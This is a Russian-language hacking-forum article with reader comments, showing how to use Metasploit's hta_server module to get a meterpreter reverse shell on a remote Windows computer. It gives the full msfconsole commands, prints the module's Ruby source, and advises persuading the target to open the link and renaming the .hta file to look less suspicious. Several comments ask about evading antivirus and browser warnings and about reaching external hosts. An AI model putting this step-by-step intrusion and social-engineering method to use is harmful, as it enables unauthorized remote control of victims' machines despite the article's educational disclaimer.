Статья Взлом удаленного ПК: HTA-server

Всем привет! В этой статье я хочу показать взлом удаленного компьютера, а точнее, получение сессии meterpreter c помощью эксплойта - hta_server.

upload_2016-10-28_15-22-33.png


Появился он недавно в версии Metasploit Framework v4.12.34,

upload_2016-10-28_15-22-53.png


так, что прежде чем начать убеждаемся в ее наличии, если отсутствует, обновляемся:

> apt-get update && apt-get upgrade –y && apt-get dist-upgrade

Запускаем Metasploit Framework:

> msfconsole

В появившейся консоли фреймворка пишем:
Код:
use exploit/windows/misc/hta_server
set payload /windows/meterpreter/reverse_tcp
set LHOST 172.16.0.160
set SRVHOST 172.16.0.160
set LPORT 4444
exploit
Теперь, если все проделано, верно, видим экран с таким содержимым:

upload_2016-10-28_15-23-48.png


Теперь немного теории, первая строка обозначает, что обратное подключение (от жертвы) ожидается на адресе 172.16.0.160 и порту 4444.

Вторая, это ссылка которую необходимо доставить нашей цели, но не просто доставить, а убедить в том, что по ней необходимо перейти :)

А третья, собственно, о том, что был поднят веб-сервер на локальном адресе.

Перейдем по ссылке на целевой машине:

upload_2016-10-28_15-24-25.png


Вернувшись к консоли линукс, мы видим, что сервер сообщает о доставке полезной нагрузки обратившемуся к нему адресу 172.16.0.139.

upload_2016-10-28_15-25-8.png


Вернемся к целевому хосту и скачаем то, что было предложено сервером.

upload_2016-10-28_15-26-6.png


Как видно, сервер сгенерировал нам некое приложение .hta - HTML Application (HTA) — приложение, написанное на HTML или Dynamic HTML.

upload_2016-10-28_15-26-27.png


После запуска получаем готовую рабочую сессию meterpreter.

upload_2016-10-28_15-26-49.png


Объясню, как это происходит, созданное приложение открыло в фоновом режиме другое приложение, которое может работать скрытно от глаз пользователя, зовется оно PowerShell - Представляет собой современную стандартизированную оболочку командной строки, обеспечивающую большую гибкость управления компьютером на базе операционной системы Windows. По сути, PowerShell — это та же командная строка, но только намного более функциональная. Увидеть ее можно, набрав в пуске - powershell

upload_2016-10-28_15-28-24.png


PowerShell содержащий полезную нагрузку обнаруживается в диспетчере задач:

upload_2016-10-28_15-28-45.png


Итак, по поводу нагрузки все ясно. Дальнейшие действия зависят от фантазии.

Я бы хотел обратить внимание на один очень важный, по моему мнению момент. Взглянем на исходный код скрипта, который находится /usr/share/metasploit-framework/modules/exploit/windows/misc/hta_server.rb написан он на Ruby:
Код:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking
  include Msf::Exploit::Remote::HttpServer
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HTA Web Server',
      'Description'    => %q(
        This module hosts an HTML Application (HTA) that when opened will run a
        payload via Powershell. When a user navigates to the HTA file they will
        be prompted by IE twice before the payload is executed.
      ),
      'License'        => MSF_LICENSE,
      'Author'         => 'Spencer McIntyre',
      'References'     =>
        [
          ['URL', 'https://www.trustedsec.com/july-2015/malicious-htas/']
        ],
      # space is restricted by the powershell command limit
      'Payload'        => { 'DisableNops' => true, 'Space' => 2048 },
      'Platform'       => %w(win),
      'Targets'        =>
        [
          [ 'Powershell x86', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ],
          [ 'Powershell x64', { 'Platform' => 'win', 'Arch' => ARCH_X86_64 } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Oct 06 2016'
    ))
  end
  def on_request_uri(cli, _request)
    print_status('Delivering Payload')
    p = regenerate_payload(cli)
    data = Msf::Util::EXE.to_executable_fmt(
      framework,
      target.arch,
      target.platform,
      p.encoded,
      'hta-psh',
      { :arch => target.arch, :platform => target.platform }
    )
    send_response(cli, data, 'Content-Type' => 'application/hta')
  end
  def random_uri
    # uri needs to end in .hta for IE to process the file correctly
    '/' + Rex::Text.rand_text_alphanumeric(rand(10) + 6) + '.hta'
  end
end
Строка '/' + Rex::Text.rand_text_alphanumeric(rand(10) + 6) + '.hta' определяет название выходного файла. Данный метод генерирует абсолютную дичь, состоящую из 10 + -рандомных чисел и букв. (Fg8FGn34f9.hta) Предлагаю исправить это на более приемлемый вариант.

Делается это путем изменения метода .rand_text_alphanumeric на метод .uri_encode

upload_2016-10-28_15-30-32.png


В одинарных кавычках пишем, все что угодно. На этом все. Спасибо за внимание.

P.S.
Осталось подумать, как приделать к нему более симпатичный ярлык…

P.P.S. Статья не является руководством к действию и опубликована исключительно в ознакомительных целях. За последствия вызванные применением данного метода на практике автор и ресурс, ответственности не несут.
 
Последнее редактирование:

flesh91

Green Team
25.02.2017
35
51
BIT
0
уже немного палится експлоит, вопервых хром ругается при скащивани, во вторых nod 32 ругатся начал и не пропустил.
 
W

www

Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (94.***.***.68:8080) адрес уже используется или не доступен что не так?
 
F

fan92rus

Отличная статья но вопрос как обойти систему безопасности при запуске hta?
 

Rokok

Member
12.05.2016
13
0
BIT
2
Гит клон отказывается грузить, видимо проблема на репозитории или у меня?
 
F

FuSp

Как им написать то? У них профиль заблокирован. А впрочем и не нужно я постараюсь ip поменять (если это возможно).
 

Сергей Попов

Кодебай
30.12.2015
4 718
6 707
BIT
368
Внизу каждого сообщения есть кнопка "пожаловаться".
Внизу форума есть ссылка для обратной связи.
В данном конкретном случае напишите новый текст в качестве комментария, И воспользуйтесь кнопкой "пожаловаться" - мы заменим текст первой темы текстом этого комментария.
[doublepost=1513868330,1513868245][/doublepost]
я постараюсь ip поменять
Редактирование привязано к аккаунту, а не к ip
 
  • Нравится
Реакции: FuSp и Vertigo
F

FuSp

но если вписать внешний айпи - выдаёт ошибку.
Но если вписать НЕ локальный ip выдает ошибку типа (вложение). Как это исправить? Если не составит труда скиньте гайд, или что то наподобие для того. Спасибо.
[doublepost=1513870905,1513869324][/doublepost]
Но если вписать НЕ локальный ip выдает ошибку типа (вложение). Как это исправить? Если не составит труда скиньте гайд, или что то наподобие для того. Спасибо.
Спасибо, уже не нужно. Понял что нужно переадресовать порты на роутере.
[doublepost=1513875755][/doublepost]
Внизу каждого сообщения есть кнопка "пожаловаться".
Внизу форума есть ссылка для обратной связи.
В данном конкретном случае напишите новый текст в качестве комментария, И воспользуйтесь кнопкой "пожаловаться" - мы заменим текст первой темы текстом этого комментария.
[doublepost=1513868330,1513868245][/doublepost]
Редактирование привязано к аккаунту, а не к ip
Спасибо огромное, и еще раз извините за такой конфуз(
 

Вложения

  • bandicam 2017-12-20 22-53-20-139.jpg
    bandicam 2017-12-20 22-53-20-139.jpg
    97 КБ · Просмотры: 513
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!